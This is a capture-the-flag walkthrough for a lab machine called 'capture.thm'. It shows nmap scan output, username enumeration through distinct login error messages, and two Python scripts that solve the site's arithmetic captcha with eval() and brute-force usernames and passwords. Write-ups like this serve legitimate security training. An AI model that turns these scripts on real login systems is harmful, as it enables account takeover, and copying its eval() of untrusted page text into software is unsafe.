┌──(kali㉿kali)-[~]└─$nmap-p-capture.thm-T4StartingNmap7.94SVN ( https://nmap.org ) at 2024-06-25 10:52 ISTNmapscanreportforcapture.thm (10.10.61.60)Hostisup (0.15s latency).Notshown:65531closedtcpports (conn-refused)PORTSTATESERVICE80/tcpopenhttpNmapdone:1IPaddress (1 hostup) scanned in 116.29 seconds┌──(kali㉿kali)-[~]└─$nmap-sC-sV-p80capture.thm-T4StartingNmap7.94SVN ( https://nmap.org ) at 2024-06-25 11:16 IST Nmapscanreportforcapture.thm (10.10.61.60) Hostisup (0.15s latency). PORTSTATESERVICEVERSION80/tcpopenhttpWerkzeug/2.2.2Python/3.8.10|http-title:Sitedoesn't have a title (text/html; charset=utf-8). |_Requested resource was /login |_http-server-header: Werkzeug/2.2.2 Python/3.8.10 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 NOT FOUND| Server: Werkzeug/2.2.2 Python/3.8.10| Date: Tue, 25 Jun 2024 05:46:47 GMT| Content-Type: text/html; charset=utf-8| Content-Length: 207| Connection: close| <!doctype html>| <html lang=en>| <title>404 Not Found</title>| <h1>Not Found</h1>| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>| GetRequest: | HTTP/1.1 302 FOUND| Server: Werkzeug/2.2.2 Python/3.8.10| Date: Tue, 25 Jun 2024 05:46:40 GMT| Content-Type: text/html; charset=utf-8| Content-Length: 199| Location: /login| Connection: close| <!doctype html>| <html lang=en>| <title>Redirecting...</title>| <h1>Redirecting...</h1>| <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.| HTTPOptions: | HTTP/1.1 200 OK| Server: Werkzeug/2.2.2 Python/3.8.10| Date: Tue, 25 Jun 2024 05:46:41 GMT| Content-Type: text/html; charset=utf-8| Allow: HEAD, GET, OPTIONS| Content-Length: 0| Connection: close| RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"| "http://www.w3.org/TR/html4/strict.dtd">| <html>| <head>| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">| <title>Error response</title>| </head>| <body>| <h1>Error response</h1>| <p>Error code: 400</p>| <p>Message: Bad request version ('RTSP/1.0').</p>| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>| </body>|_ </html>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port80-TCP:V=7.94SVN%I=7%D=6/25%Time=667A59C2%P=x86_64-pc-linux-gnu%r(G....SF:x20spelling\x20and\x20try\x20again\.</p>\n");Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 98.71 seconds
It reveals just the port 80 running a http server.
Upon visiting the site we are greeted with a login page.
The error message "Error: The user ‘rachel’ does not exist" allows us to enumerate valid usernames within the application, which violates the OWASP Authentication Guidelines.
The first step is to enumerate the usernames. Once we identify a valid username, we can proceed to brute force the corresponding password.
Capturing Existing Users
Currently, we have identified two error messages to handle: If we receive a captcha but fail to solve it, we encounter the error "Error: Invalid captcha". Alternatively, entering an incorrect username with the correct captcha results in the error message "Error: The user ‘USERNAME’ does not exist."
We need to include the variables username, password, and captcha in an HTTP POST request.
To extract the error messages and captcha, regex can be used. Crafting regex patterns can be challenging, but tools like regex101 make it easier:
Regex for retrieving captchas: [0-9]{1,3}\s[+-*:/]\s[0-9]{1,3}
Regex for retrieving error messages non existing user: The user '.*' does not exist.
But we need to URL encode it.
The user '.*' does not exist"
Username_Check.py
import requestsimport re_url ='http://capture.thm/login'_captcha_regex =r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"_error_user_regex =r"The user '.*' does not exist"# Load usernames from filewithopen('usernames.txt')as f: users = [line.strip()for line in f]valid_users = []for username in users:# Start with an invalid request to retrieve the captcha initial_response = requests.get(_url) captcha = re.findall(_captcha_regex, initial_response.text)if captcha: captcha_result =eval(captcha[0])else:print(f"Could not find captcha for user {username}")continue# Craft data for login attempt data ={'username': username,'password':'static_password',# Replace with actual password if known'captcha': captcha_result}# Send the login POST request response = requests.post(_url, data=data) text = response.text# Check if the user exists based on the error messageifnot re.findall(_error_user_regex, text): valid_users.append(username)print("Valid users:", valid_users)
Running our script takes a second and we get the user natalie.
Capturing the Right Password
Let's begin by submitting the username "natalie" with a valid captcha to observe and capture the error message related to an invalid password. This will help us craft a suitable regex pattern to detect this specific error.
For finding the correct password, we can reuse our previous loop with slight modifications.
final.py
import requestsimport re# URL and file paths_url ='http://capture/login'_path_users_file ='usernames.txt'_path_passwords_file ='passwords.txt'# Regex patterns for error messages_error_user_regex =r"The user '.*' does not exist"_error_password_regex =r"Invalid password for user '.*'"_error_captcha_regex =r"Invalid captcha"_captcha_regex =r"[0-9]{1,3}\s[+\-*:/]\s[0-9]{1,3}"# Initial data for login attempt_initial_data ={'username':'football','password':'rachel','captcha':0}defretrieve_captcha(session):"""Function to retrieve and evaluate captcha.""" response = session.post(_url, _initial_data) text = response.text captchas = re.findall(_captcha_regex, text)returneval(captchas[0])deffind_valid_users():"""Function to find valid usernames.""" valid_users = []withopen(_path_users_file)as f: users = [line.rstrip()for line in f] session = requests.Session()for username in users: captcha_result =retrieve_captcha(session) data ={'username': username,'password':'rachel','captcha': captcha_result} response = session.post(_url, data=data) text = response.textifnot re.findall(_error_user_regex, text)andnot re.findall(_error_captcha_regex, text): valid_users.append(username)return valid_usersdefbrute_force_passwords(valid_users):"""Function to brute-force passwords for valid users."""withopen(_path_passwords_file)as f: passwords = [line.rstrip()for line in f] session = requests.Session()for valid_user in valid_users:for password in passwords: captcha_result =retrieve_captcha(session) data ={'username': valid_user,'password': password,'captcha': captcha_result} response = session.post(_url, data=data) text = response.textifnot re.findall(_error_password_regex, text)andnot re.findall(_error_captcha_regex, text):print(f"Valid credentials found: {valid_user}:{password}")print(text)return# Main executionif__name__=="__main__": valid_users =find_valid_users()print(f"Valid usernames found: {valid_users}")brute_force_passwords(valid_users)
We can login with the credentials and check the flag.